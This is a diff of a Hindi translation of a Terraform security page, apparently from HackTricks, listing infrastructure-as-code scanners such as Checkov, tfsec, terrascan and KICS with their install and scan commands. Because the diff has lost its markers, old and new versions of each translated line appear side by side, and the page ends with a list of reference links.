@@ -292,28 +319,28 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए है और यह छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण भी है।
**Checkov** एक static code analysis tool है infrastructure as code (IaC) के लिए, और images और open source packages के लिए एक software composition analysis (SCA) tool भी है।
यह [Terraform](https://terraform.io/) का उपयोग करके प्रदान की गई क्लाउड इन्फ्रास्ट्रक्चर, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), या [OpenTofu](https://opentofu.org/) को स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन की गलत कॉन्फ़िगरेशन का पता लगाता है।
यह उन cloud infrastructure को स्कैन करता है जो [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) का उपयोग करके provision की गई cloud infrastructure को स्कैन करता है, और graph-based scanning का उपयोग करके security और compliance misconfigurations का पता लगाता है।
यह [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) करता है, जो सामान्य कमजोरियों और एक्सपोज़र (CVEs) के लिए ओपन-सोर्स पैकेजों और छवियों का स्कैन है।
यह [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) करता है, जो open source packages और images में Common Vulnerabilities and Exposures (CVEs) के लिए एक scan है।
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ नकारात्मक परीक्षण क्षमता को सक्षम करने के लिए आपके इन्फ्रास्ट्रक्चर-एज़-कोड के लिए है।
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन-केंद्रित टेस्ट फ्रेमवर्क है जो terraform के लिए infrastructure-as-code में negative testing की क्षमता प्रदान करता है।
- **compliance:** सुनिश्चित करें कि लागू किया गया कोड सुरक्षा मानकों, आपके अपने कस्टम मानकों का पालन कर रहा है
- **behaviour driven development:** हमारे पास लगभग हर चीज के लिए BDD है, IaC के लिए क्यों नहीं?
- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के माध्यम से चलाएदेखें [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** यह आपके कोड को तैनात करने से पहले मान्य करता है
- **easy to integrate:** यह आपके पाइपलाइन (या git hooks में) में चल सकता है ताकि सभी तैनातियों को मान्य किया जा सके
- **segregation of duty:** आप अपने परीक्षणों को एक अलग रिपॉजिटरी में रख सकते हैं जहा एक अलग टीम जिम्मेदार ह
- **compliance:** सुनिश्चित करें कि लागू कोड सुरक्षा मानकों और आपके स्वयं के कस्टम मानकों का पालन कर रहा है
- **behaviour driven development:** हमारे पास लगभग हर चीज के लिए BDD है, IaC के लिए क्यों नहीं?
- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के जरिए चलाएSee [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** यह आपके कोड को डिप्लॉय होने से पहले वैलिडेट करता है
- **easy to integrate:** यह आपके pipeline (या git hooks में) चल सकता है ताकि सभी deployments वैलिडेट हों
- **segregation of duty:** आप अपने टेस्ट एक अलग repository में रख सकते हैं जहा एक अलग टीम जिम्मेदार होगी
> [!NOTE]
> दुर्भाग्यवश, यदि कोड कुछ प्रदाताओं का उपयोग कर रहा है जिनक आपकी पहुंच नहीं है, तो आप `terraform plan` नहीं कर पाएगे और इस उपकरण को नहीं चला पाएगे।
> दुर्भाग्यवश अगर कोड किसी ऐसे providers का उपयोग कर रहा है जिनक आपको एक्सेस नहीं है, तो आप `terraform plan` नहीं चला पाएगे और इस टूल को रन नहीं कर पाएगे।
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -321,44 +348,57 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलत कॉन्फ़िगरेशनहचाना जा सके
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का static analysis करके संभावित misconfigurationsता लगाता है
- ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन की जांच करता है
- ⛔ सैकड़ों अंतर्निित नियम
- 🪆 मॉड्यूल (स्थानीय और दूरस्थ) को स्कैन करता है
- HCL अभिव्यक्तियों के साथ-साथ शाब्दिक मानों का मूल्यांकन करता है
- ↪️ Terraform कार्यों का मूल्यांकन करता है जैसे `concat()`
- 🔗 Terraform संसाधनों के बीच संबंधों का मूल्यांकन करता है
- 🧰 Terraform CDK के साथ संगत
- 🙅 उपयोगकर्ता-परिभाषित Rego नीतियों को लागू (और सजाता) है
- 📃 कई आउटपुट प्रारूपों का समर्थन करता है: सुंदर (डिफ़ॉल्ट), JSON, SARIF, CSV, CheckStyle, JUnit, पाठ, Gif
- 🛠️ कॉन्फ़िगर करने योग्य (CLI ध्वज और/या कॉन्फ़िग फ़ाइल के माध्यम से)
- ⚡ बहुत तेज़, विशाल रिपॉजिटरी को जल्दी से स्कैन करने में सक्षम
- ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन के लिए चेक करता है
- ⛔ सैकड़ों अंतर्निर्मित नियम
- 🪆 modules (local और remote) को स्कैन करता है
- HCL expressions के साथ-साथ literal values का मूल्यांकन करता है
- ↪️ Terraform functions जैसे `concat()` का मूल्यांकन करता है
- 🔗 Terraform resources के बीच संबंधों का मूल्यांकन करता है
- 🧰 Terraform CDK के साथ संगत है
- 🙅 user-defined Rego policies को लागू (और बेहतर बनाता है)
- 📃 कई output formats का समर्थन करता है: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ कॉन्फ़िगर करने योग्य (CLI flags और/या config file के माध्यम से)
- ⚡ बहुत तेज़, बड़े repositories को जल्दी स्कैन करने में सक्षम
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan Infrastructure as Code के लिए एक स्टैटिक कोड विश्लेषक है। Terrascan आपको निम्न करने की अनुमति देता है:
- Infrastructure as Code में misconfigurations को सहजता से स्कैन करना।
- प्रोविजन किए गए क्लाउड इंफ्रास्ट्रक्चर में उन configuration बदलावों की मॉनिटरिंग करना जो posture drift पैदा करते हैं, और secure posture पर वापस लौटने में सक्षम बनाना।
- सुरक्षा कमजोरियों और compliance उल्लंघनों का पता लगाना।
- क्लाउड-नेटिव इंफ्रास्ट्रक्चर को provision करने से पहले जोखिमों को कम करना।
- लोकल रूप से चलाने या अपने CI\CD के साथ इंटीग्रेट करने की लचीलापन प्रदान करना।
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
अपने **KICS** द्वारा Checkmarx के साथ अपने इन्फ्रास्ट्रक्चर-एज़-कोड के विकास चक्र में सुरक्षा कमजोरियों, अनुपालन मुद्दों और इन्फ्रास्ट्रक्चर क गलत कॉन्फ़िगरेशन को जल्दी खोजें।
अपने infrastructure-as-code के विकास चक्र के शुरुआती चरणों में Checkmarx के **KICS** के साथ सुरक्षा कमजोरियाँ, अनुपालन समस्याएँ और इन्फ्रास्ट्रक्चर क गलत कॉन्फ़िगरेशन खोजें।
**KICS** का मतलब है **K**eeping **I**nfrastructure as **C**ode **S**ecure, यह ओपन सोर्स है और किसी भी क्लाउड नेटिव प्रोजेक्ट के लिए एक आवश्यक उपकरण है।
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure यह open source है और किसी भी cloud native परियोजना के लिए एक आवश्यक उपकरण है।
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
From the [**docs**](https://github.com/tenable/terrascan): Terrascan एक स्थिर कोड विश्लेषक है जो Infrastructure as Code के लिए है। Terrascan आपको यह करने की अनुमति देता है:
[**docs**](https://github.com/tenable/terrascan) के अनुसार: Terrascan Infrastructure as Code के लिए एक static code analyzer है। Terrascan आपको निम्न करने की अनुमति देता है:
- गलत कॉन्फ़िगरेशन के लिए Infrastructure as Code को निर्बाध रूप से स्कैन करें।
- कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो स्थिति में बदलाव लाते हं, और सुरक्षित स्थिति में वापस लौटने की अनुमति देते हैं।
- सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाए
- क्लाउड नेटिव इन्फ्रास्ट्रक्चर को प्रावधान करने से पहले जोखिमों को कम करें।
- स्थानीय रूप से चलाने या अपने CI\CD के साथ एकीकृत करने के लिए लचीलापन प्रदान करता है।
- गलत कॉन्फ़िगरेशन के लिए infrastructure as code को सहजता से scan करें।
- provisioned cloud infrastructure में ऐसे कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो posture drift उत्पन्न करते हं, और secure posture पर वापस लौटने में सक्षम बनें।
- सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाए
- cloud native infrastructure provisioning से पहले जोखिम कम करें।
- स्थानीय रूप से चलाने या अपने CI\CD के साथ integrate करने क लचीलापन प्रदान करता है।
```bash
brew install terrascan
```
## References
## संदर्भ
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
@@ -366,12 +406,12 @@ brew install terrascan
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud अनुमतियाँ](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS प्रदाता कॉन्फ़िगरेशन](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
- [Terraform संवेदनशील वेरिएबल्स](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: Terraform automation platforms के खतरे](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}